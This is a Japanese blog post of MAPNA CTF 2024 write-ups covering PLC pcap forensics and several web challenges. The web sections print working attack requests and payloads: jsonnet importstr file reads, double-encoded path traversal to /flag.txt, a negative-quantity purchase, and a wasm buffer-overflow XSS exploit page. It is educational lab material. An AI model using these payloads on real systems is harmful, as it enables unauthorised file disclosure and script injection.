はまやんはまやんはまやん

hamayanhamayan's blog

MAPNA CTF 2024 Writeups

https://ctftime.org/event/2205

[Forensics] PLC I 🤖

pcapファイルが与えられる。
そんなにパケット数が無いので1つ1つ眺めると、No.46にd1n9!!}というフラグの端っこみたいな文字列が見える。
eth.trailerに情報が入ってますね。

$ tshark -r plc.pcap -Y 'eth.trailer != ""' -Tfields -e eth.trailer
e7fe
333a4c645f346c5734
353a335f5f50614144
313a4d41504e417b79
343a79535f5f436152
363a64316e3921217d
323a30555f73484f75

1つ目以外をhex to asciiしてみましょう。

333a4c645f346c5734 -> 3:Ld_4lW4
353a335f5f50614144 -> 5:3__PaAD
313a4d41504e417b79 -> 1:MAPNA{y
343a79535f5f436152 -> 4:yS__CaR
363a64316e3921217d -> 6:d1n9!!}
323a30555f73484f75 -> 2:0U_sHOu

いいですね、1から順番にくっつけるとフラグ。

[Forensics] PLC II 🤖

After extensive investigations, the MAPNA forensics team discovered that the attackers attempted to manipulate the PLC time. Please identify the precise time in the following format: 徹底的な調査の結果、MAPNAのフォレンジック・チームは、攻撃者がPLC時間を操作しようとしていたことを突き止めた。

The flag is MAPNA{sha256(datetime)}.

前問と同じpcapファイルを解析していく。
攻撃者がPLC時間を操作しようとしているらしく、その時刻をyear:month:day:hour:minute:second:millisecondの形にして
sha256にしてフラグ形式にして解答する問題。
stringsでも見てみよう。

$ strings -n 10 plc.pcap
6ES7 151-8AB01-0AB0
IM151-8 PN/DP CPU

型番っぽく、Siemensという会社のものっぽい。
プロトコルを調べてみよう。
The Siemens S7 Communication - Part 1 General Structure – GyM's Personal Blog
TPKTらしい。
Wiresharkの右クリックから...としてデコードを選択してポート10203をTPKTにしてみてみるとS7COMMが認識される。
良さそう。
これでInfoを眺めると、Set clockがNo.40にあった。
Data: (Timestamp: Sep 21, 2023 19:59:29.949)
ということで2023:09:21:19:59:29:949をsha256にした
9effd248efdf066cf432a21a34d87db56d0d0a7e4fe9bb3af6ef6f125fc36cfa
を整形して答えると正答。

[web] Advanced JSON Cutifier

ソースコード無し。
jsonを与えるときれいにしてくれるサイトが与えられる。

実際にアクセスして実行例を見てみると
{"wow so advanced!!": 1335+2}

{
   "wow so advanced!!": 1337
}

のようになっていて、JSON beautifierになっている。
しかも、それに加えて計算式が評価されている。
javascriptとして評価されている雰囲気がある。

エラーからライブラリを探すと多分これ。
https://github.com/google/go-jsonnet

目を皿にしてjsonnetの使えそうな言語仕様を探すと…ありますねぇ
https://qiita.com/ktateish/items/c07d76fb268575f5a8dc#%E5%88%A5%E3%83%95%E3%82%A1%E3%82%A4%E3%83%AB%E3%81%AE%E5%86%85%E5%AE%B9%E3%82%92%E5%80%A4%E3%81%A8%E3%81%97%E3%81%A6%E8%AA%AD%E3%81%BF%E8%BE%BC%E3%82%80
{"flag":importstr "/flag.txt"}を送るとフラグが得られる。

[web] Flag Holding

ソースコード無し。

アクセスするとYou are not coming from "http://flagland.internal/".と言われる。
そういう系ね。
どこから来るのかというのはReferrerヘッダーで指定可能。
Referer: http://flagland.internal/を追加してみる。
するとUnspecified "secret".と言われる。
リクエストURLを/から/?secretに変えてみる。
Incorrect secret. <!-- hint: secret is ____ which is the name of the protocol that both this server and your browser agrees on... -->と言われる。
httpか?
/?secret=httpとやるとSorry we don't have "GET" here but we might have other things like "FLAG".と言われる。
メソッドをFLAGにしてやればよさそう。
ということで最終的に以下のようなリクエストでフラグが得られる。

FLAG /?secret=http HTTP/1.1
Host: ■■■■■■■■■■■:8080
Connection: close
Referer: http://flagland.internal/

[web] Novel reader

ソースコード有り。 /flag.txtを読むのがゴール。

パストラバーサルを探してみると、それっぽいのがある。

@app.get('/api/read/<path:name>')
def readNovel(name):
    name = unquote(name)
    if(not name.startswith('public/')):
        return {'success': False, 'msg': 'You can only read public novels!'}, 400
    buf = readFile(name).split(' ')
    buf = ' '.join(buf[0:session['words_balance']])+'... Charge your account to unlock more of the novel!'
    return {'success': True, 'msg': buf}

name部分をunquoteして、先頭がpublic/であることを確認して読み込んでいる。
先頭の検証は../で回避すればいいので、public/../../flag.txtをnameに入れればいい。
なので/api/read/public/../../flag.txtとすればよさそうだが、nginxでURLのノーマライゼーションが走るので、
../を2回URLエスケープすることでノーマライゼーションをうまく回避して

readNovelに処理が行くようにする。

よって以下のようなリクエストを送ってやればフラグが得られる。

GET /api/read/public/%252e%252e%252f%252e%252e%252fflag.txt HTTP/1.1
Host: ■■■■■■■■■■■:9000
Connection: close

[web] Novel Reader 2

Novel Readerにもう1つフラグが隠されている。
privateのNovelを見る機能があるのでそれを読み込むのだろう。
パスはprivate/A-Secret-Tale.txtと分かっているので
前問と同様にパストラバーサルで読み込んでみる。
GET /api/read/public/%252e%252e%252fprivate%252fA-Secret-Tale.txt とすると
{"msg":"Once... Charge your account to unlock more of the novel!","success":true} と帰ってきた。
成功しているが、一部しか返ってきていない。

これは

buf = readFile(name).split(' ')
buf = ' '.join(buf[0:session['words_balance']])+'... Charge your account to unlock more of the novel!'

のように、words_balance分の単語しか持ってこれないため。
初期状態では最初の文字のOnceしか取得できていない。
見られる文字は別のエンドポイントで購入できる。

@app.post('/api/charge')
def buyWord():
    nwords = request.args.get('nwords')
    if(nwords):
        nwords = int(nwords[:10])
        price = nwords * 10
        if(price <= session['credit']):
            session['credit'] -= price
            session['words_balance'] += nwords
            return {'success': True, 'msg': 'Added to your account!'}
        return {'success': False, 'msg': 'Not enough credit.'}, 402
    else:
        return {'success': False, 'msg': 'Missing parameteres.'}, 400

ざっくり、10円で1文字変える。
最初は1文字見れるようになっていて、100円持っているので最大11文字までは見ることができる。
しかし、これではフラグに辿りつかない。

ここでさらにもう1つ脆弱性を利用する。
nwordsの入力はバリデーションが甘く、負の数を入れることができるようになっている。
よって、-2文字購入して、1文字見れる状態から-1文字見れる状態に変更してみよう。
すると、単語数の絞り込みは buf[0:-1]のように評価されて
この場合は全ての単語を出力させることができる。

よって、POST /api/charge?nwords=-2のようにして-2文字を買って、
そのCookieを使ってGET /api/read/public/%252e%252e%252fprivate%252fA-Secret-Tale.txt
参照すればフラグが手に入る。

[web] Purify 解けなかった

ソースコード有り。
あと一歩まで来ていて非常に悔しいのだが、集中力が足らん…
wasmでサニタイズ処理をしていてXSSする問題。

window.onmessage = e=>{
    list.innerHTML += `
      <li>From ${e.origin}: ${window.DOMPurify.sanitize(e.data.toString())}</li>
  `
}

シンクはこの部分でpostMessage経由でpayloadを受け取る。
window.DOMPurify.sanitizeというのでサニタイズして出力されている。
サニタイズの処理はこの部分。

function sanitize(dirty) {
    wasm.set_mode(0)    

    for(let i=0;i<dirty.length;i++){
        wasm.add_char(dirty.charCodeAt(i))
    }

    let c
    let clean = ''
    while((c = wasm.get_char()) != 0){
        clean += String.fromCharCode(c)
    }

    return clean
}

wasmに1文字ずついれて、1文字ずつ出している。
wasmの実装は以下のようになっている。

// clang --target=wasm32 -emit-llvm -c -S ./purify.c && llc -march=wasm32 -filetype=obj ./purify.ll && wasm-ld --no-entry --export-all -o purify.wasm purify.o
struct globalVars {
    unsigned int len;
    unsigned int len_r;
    char buf[0x1000];
    int (*is_dangerous)(char c);
} g;

int escape_tag(char c){
    if(c == '<' || c == '>'){
        return 1;
    } else {
        return 0;
    }
}

int escape_attr(char c){
    if(c == '\'' || c == '"'){
        return 1;
    } else {
        return 0;
    }
}

int hex_escape(char c,char *dest){
    dest[0] = '&';
    dest[1] = '#';
    dest[2] = 'x';
    dest[3] =  "0123456789abcdef"[(c&0xf0)>>4];
    dest[4] =  "0123456789abcdef"[c&0xf];
    dest[5] =  ';';
    return 6;
}

void add_char(char c) {
    if(g.is_dangerous(c)){
        g.len += hex_escape(c,&g.buf[g.len]);
    } else {
        g.buf[g.len++] = c;
    }
}

int get_char(char f) {
    if(g.len_r < g.len){
        return g.buf[g.len_r++];
    }
    return '\0';
}

void set_mode(int mode) {
    if(mode == 1){
        g.is_dangerous = escape_attr;
    } else {
        g.is_dangerous = escape_tag;
    }
}

set_modeで0を指定してg.is_dangerous = escape_tag;とすることで<>サニタイズしている。
これが一番邪魔なので、g.is_dangerous = escape_attr;にすることができればhtmlタグを埋め込むことができそうだ。

そこで使える脆弱性がバッファーオーバーフローである。
実は長さをチェックしていないので、globalVars部分でbufに書き込むときに、 サイズを超過するとis_dangerousまで書き込むことができる。

struct globalVars {
    unsigned int len;
    unsigned int len_r;
    char buf[0x1000];
    int (*is_dangerous)(char c);
} g;

個人的に要調査ポイントだが、wasmでは関数ポインタが1,2,3...みたいな数値になっているっぽい(かなり要調査) wasmのデコンパイルを見ると

 (func $set_mode (;6;) (export "set_mode") (param $var0 i32)
    (local $var1 i32)
    global.get $__stack_pointer
    i32.const 16
    i32.sub
    local.tee $var1
    local.get $var0
    i32.store offset=12
    block $label1
      block $label0
        local.get $var1
        i32.load offset=12
        i32.const 1
        i32.eq
        i32.const 1
        i32.and
        i32.eqz
        br_if $label0
        i32.const 0
        i32.const 1
        i32.store offset=5148
        br $label1
      end $label0
      i32.const 0
      i32.const 2
      i32.store offset=5148
    end $label1
  )

のようになっていて、i32.store offset=5148がis_dangerousになるが、escape_tagでは2を、escape_attrでは1を書き込んでいた。
よって、is_dangerousをescape_attrにするには1を書き込めばいい。

    char buf[0x1000];
    int (*is_dangerous)(char c);

これをバッファーオーバーフローでいい感じに埋めてis_dangerousをescape_attrにするには、'A'*(0x1000 - 2)+'\x01\x00\x00\x00'を書き込めば良い。
'A'というのは別に何でもいい(何でBOFの時ってA使うサンプルが多いんでしょう)
(0x1000 - 2)のように-2しているのは最初にsetTimeout(_=>window.postMessage("hi",'*'),1000)のように2文字書かれてしまうため。
'\x01\x00\x00\x00'は1を32ビット整数でリトルエンディアンにしたもの。

これでis_dangerousがescape_attrになって<が入った文字列を入れ込むことができた。 あとは、この後ろにpayloadを入れてやれば、任意のタグを入れることができる。

ここまでできていたのに時間切れ…

答えを見ると、入れ込んだ後に空のpostMessageを3回読み込むとXSSが発火した。
それもそうで、サニタイズ処理を見てみると

   while((c = wasm.get_char()) != 0){
        clean += String.fromCharCode(c)
    }

のように0x00が帰ってきたときに終了するようになっている。
先ほどの埋め込み時に'\x01\x00\x00\x00'のように埋め込んでいるので、
出力時に0x00で止まってしまうのだ。

つまり、
最初の埋め込み時の出力で1番目の0x00で止まり、
1回目の空のpostMessageの時の出力で2番目の0x00で止まり、
2回目の空のpostMessageの時の出力で3番目の0x00で止まり、
3回目の空のpostMessageの時の出力で最後まで出力するということ。
なので、入れ込んだ後に3回、なんでもいいのでpostMessageすると後続の入力が得られる。
よって、base64した任意のpayloadを実行するpayloadは以下。

<html>
    <script>
    setTimeout(_=>{
        var payload = "";
        for (let i = 0; i < 0x1000 - 2; i++) {
            payload += "A";
        }
        payload += String.fromCharCode(0x01);
        payload += String.fromCharCode(0x00);
        payload += String.fromCharCode(0x00);
        payload += String.fromCharCode(0x00);
        
        payload += "<img src=x onerror=eval(atob(`YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ==`))>"; // alert(document.domain)
        victim.postMessage(payload,'*');
        
    },3000);
    setTimeout(_=>{ victim.postMessage("",'*'); },6000);
    setTimeout(_=>{ victim.postMessage("",'*'); },7000);
    setTimeout(_=>{ victim.postMessage("",'*'); },8000);
    </script>
    <body>
        <iframe src="http://91.107.157.58:7000/" width="100%" height="100%" name="victim"></iframe>
    </body>
</html>